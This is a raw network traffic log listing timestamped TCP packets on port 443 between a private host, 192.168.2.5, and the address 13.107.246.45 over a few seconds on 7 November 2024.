Nov 7, 2024 23:47:53.814116955 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.814174891 CET	49912	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.814487934 CET	49912	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.814498901 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.814508915 CET	49912	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.814512968 CET	443	49912	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.821168900 CET	49917	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.821217060 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.821275949 CET	49917	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.821825981 CET	49917	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.821841955 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.977719069 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.978182077 CET	49913	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.978203058 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:53.978643894 CET	49913	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:53.978650093 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.108087063 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.108160973 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.108262062 CET	49913	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.109353065 CET	49913	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.109369993 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.109381914 CET	49913	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.109386921 CET	443	49913	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.114000082 CET	49918	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.114026070 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.114196062 CET	49918	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.119502068 CET	49918	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.119510889 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.526496887 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.526926994 CET	443	49915	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.530757904 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.530780077 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.537192106 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.537197113 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.539850950 CET	49915	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.539875984 CET	443	49915	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.541846991 CET	49915	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.541851997 CET	443	49915	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.546144962 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.547228098 CET	49917	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.547256947 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.548533916 CET	49917	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.548540115 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.552666903 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.556551933 CET	49916	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.556567907 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.558553934 CET	49916	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.558558941 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.664693117 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.664714098 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.664747000 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.664766073 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.664803982 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.665824890 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.665842056 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.665852070 CET	49914	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.665857077 CET	443	49914	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.670398951 CET	443	49915	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.670495987 CET	443	49915	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.670547009 CET	49915	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.672432899 CET	49915	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.672444105 CET	443	49915	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.674920082 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.675489902 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.675539970 CET	49917	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.689001083 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.689111948 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.689147949 CET	49916	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.699616909 CET	49919	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.699645996 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.699697971 CET	49919	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.782444000 CET	49917	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.782464027 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.782475948 CET	49917	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.782480001 CET	443	49917	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.792541027 CET	49916	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.792557001 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.792570114 CET	49916	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.792577028 CET	443	49916	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.800364971 CET	49919	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.800384998 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.833399057 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.833427906 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.833538055 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.836601019 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.836631060 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.836708069 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.838411093 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.838423967 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.838759899 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.838772058 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.841654062 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.841665983 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.841878891 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.842273951 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.842283010 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.866547108 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.867182970 CET	49918	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.867197990 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.867805004 CET	49918	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.867811918 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.997138023 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.997158051 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.997191906 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:54.997226954 CET	49918	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.997270107 CET	49918	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.997466087 CET	49918	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:54.997476101 CET	443	49918	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.000356913 CET	49923	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.000379086 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.000509977 CET	49923	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.000827074 CET	49923	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.000839949 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.520504951 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.522893906 CET	49919	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.522922039 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.523364067 CET	49919	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.523370981 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.571432114 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.573354006 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.578594923 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.613527060 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.616173029 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.620277882 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.648840904 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.648886919 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.648941040 CET	49919	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.772048950 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.786546946 CET	49923	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.786576033 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.787441015 CET	49923	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.787446976 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.787863970 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.787879944 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.788692951 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.788697958 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.789192915 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.789202929 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.789891005 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.789894104 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.791126966 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.791141987 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.791642904 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.791647911 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.792340040 CET	49919	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.792372942 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.792387962 CET	49919	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.792395115 CET	443	49919	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.798759937 CET	49924	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.798804045 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.798996925 CET	49924	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.799290895 CET	49924	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.799303055 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.914975882 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.915224075 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.915261984 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.915342093 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.915419102 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.915486097 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.916286945 CET	49923	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.918364048 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.918668032 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.918723106 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.920248032 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.920296907 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.920433044 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.982458115 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.982458115 CET	49920	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.982472897 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.982485056 CET	443	49920	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.996231079 CET	49923	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.996231079 CET	49923	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:55.996251106 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:55.996260881 CET	443	49923	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.011111975 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.011120081 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.011131048 CET	49921	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.011136055 CET	443	49921	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.018292904 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.018310070 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.018337965 CET	49922	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.018342972 CET	443	49922	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.305298090 CET	49925	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.305349112 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.305424929 CET	49925	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.340972900 CET	49925	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.340995073 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.345228910 CET	49926	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.345256090 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.345312119 CET	49926	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.345591068 CET	49926	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.345599890 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.363293886 CET	49927	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.363321066 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.363389969 CET	49927	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.373429060 CET	49927	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.373444080 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.399276972 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.399306059 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.399354935 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.401907921 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.401922941 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.535331964 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.535825968 CET	49924	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.535841942 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.536784887 CET	49924	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.536788940 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.665779114 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.665858030 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.666057110 CET	49924	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.666347027 CET	49924	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.666358948 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.666429996 CET	49924	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.666435003 CET	443	49924	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.669269085 CET	49929	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.669300079 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:56.669414043 CET	49929	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.669805050 CET	49929	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:56.669816971 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.059736967 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.060439110 CET	49925	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.060458899 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.061491966 CET	49925	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.061497927 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.088134050 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.089111090 CET	49926	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.089123964 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.089777946 CET	49926	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.089782000 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.118009090 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.120757103 CET	49927	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.120774031 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.121234894 CET	49927	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.121239901 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.168194056 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.189038038 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.189085960 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.189150095 CET	49925	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.199979067 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.200002909 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.200419903 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.200424910 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.200994968 CET	49925	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.201014996 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.201025009 CET	49925	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.201031923 CET	443	49925	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.215914011 CET	49930	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.215941906 CET	443	49930	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.216018915 CET	49930	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.216449976 CET	49930	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.216454029 CET	443	49930	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.220357895 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.220402956 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.220477104 CET	49926	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.223282099 CET	49926	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.223294020 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.223304033 CET	49926	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.223308086 CET	443	49926	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.236186981 CET	49931	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.236221075 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.236320972 CET	49931	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.238518953 CET	49931	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.238537073 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.269361019 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.269624949 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.269680023 CET	49927	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.270112991 CET	49927	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.270119905 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.270153046 CET	49927	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.270157099 CET	443	49927	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.272711992 CET	49932	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.272730112 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.272876024 CET	49932	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.273017883 CET	49932	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.273027897 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.332011938 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.332032919 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.332067013 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.332101107 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.332128048 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.334023952 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.334031105 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.334059000 CET	49928	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.334063053 CET	443	49928	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.337018967 CET	49933	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.337049007 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.337280989 CET	49933	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.337610006 CET	49933	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.337625027 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.394699097 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.395061016 CET	49929	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.395071983 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.395479918 CET	49929	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.395484924 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.523266077 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.523504019 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.526478052 CET	49929	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.529566050 CET	49929	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.529581070 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.529608965 CET	49929	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.529614925 CET	443	49929	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.532308102 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.532334089 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.532572031 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.532674074 CET	49934	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.532685041 CET	443	49934	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.946891069 CET	443	49930	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.947505951 CET	49930	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.947530985 CET	443	49930	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.948180914 CET	49930	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.948185921 CET	443	49930	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.970658064 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.971400976 CET	49931	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.971421957 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:57.971741915 CET	49931	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:57.971748114 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.012888908 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.014189959 CET	49932	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.014204979 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.014933109 CET	49932	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.014936924 CET	443	49932	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.076392889 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.077373981 CET	443	49930	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.077416897 CET	443	49930	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.077475071 CET	49930	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.078454018 CET	49933	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.078484058 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.078908920 CET	49933	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.078916073 CET	443	49933	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.079363108 CET	49930	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.079375029 CET	443	49930	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.089977026 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.090008974 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.090197086 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.091557026 CET	49935	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.091571093 CET	443	49935	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.101089954 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.101135015 CET	443	49931	13.107.246.45	192.168.2.5
Nov 7, 2024 23:47:58.101191998 CET	49931	443	192.168.2.5	13.107.246.45
Nov 7, 2024 23:47:58.101382017 CET	49931	443	192.168.2.5	13.107.246.45
